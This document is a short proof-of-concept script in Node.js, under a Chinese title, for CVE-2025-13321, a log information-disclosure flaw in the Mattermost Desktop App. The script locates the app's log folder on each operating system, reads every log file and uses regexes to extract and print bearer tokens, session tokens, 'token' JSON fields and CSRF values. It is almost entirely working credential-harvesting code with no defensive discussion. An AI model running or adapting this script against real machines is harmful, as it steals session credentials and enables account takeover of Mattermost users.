CVE-2025-13321: Mattermost Desktop App日志敏感信息泄露漏洞

// CVE-2025-13321 PoC - Mattermost Desktop App Log Information Disclosure // Author: Security Researcher // Target: Mattermost Desktop App < 6.0.0 const fs = require('fs'); const path = require('path'); // Common Mattermost log locations const logPaths = { win32: path.join(process.env.APPDATA, 'Mattermost', 'logs'), darwin: path.join(process.env.HOME, 'Library', 'Application Support', 'Mattermost', 'logs'), linux: path.join(process.env.HOME, '.config', 'Mattermost', 'logs') }; function searchSensitiveInfo(logDir) { if (!fs.existsSync(logDir)) { console.log('[-] Log directory not found'); return; } const files = fs.readdirSync(logDir); const sensitivePatterns = [ /token[a-zA-Z0-9=\-_]{20,}/gi, /bearer\s+[a-zA-Z0-9=\-_]{20,}/gi, /"sessionToken"\s*:\s*"[^"]+"/gi, /"token"\s*:\s*"[^"]+"/gi, /CSRF\s*=\s*[a-zA-Z0-9=\-_]{20,}/gi ]; files.forEach(file => { if (file.endsWith('.log')) { const content = fs.readFileSync(path.join(logDir, file), 'utf8'); sensitivePatterns.forEach(pattern => { const matches = content.match(pattern); if (matches) { console.log(`[+] Found sensitive data in ${file}:`); matches.forEach(m => console.log(` ${m}`)); } }); } }); } // Execute const platform = process.platform; searchSensitiveInfo(logPaths[platform] || logPaths.linux);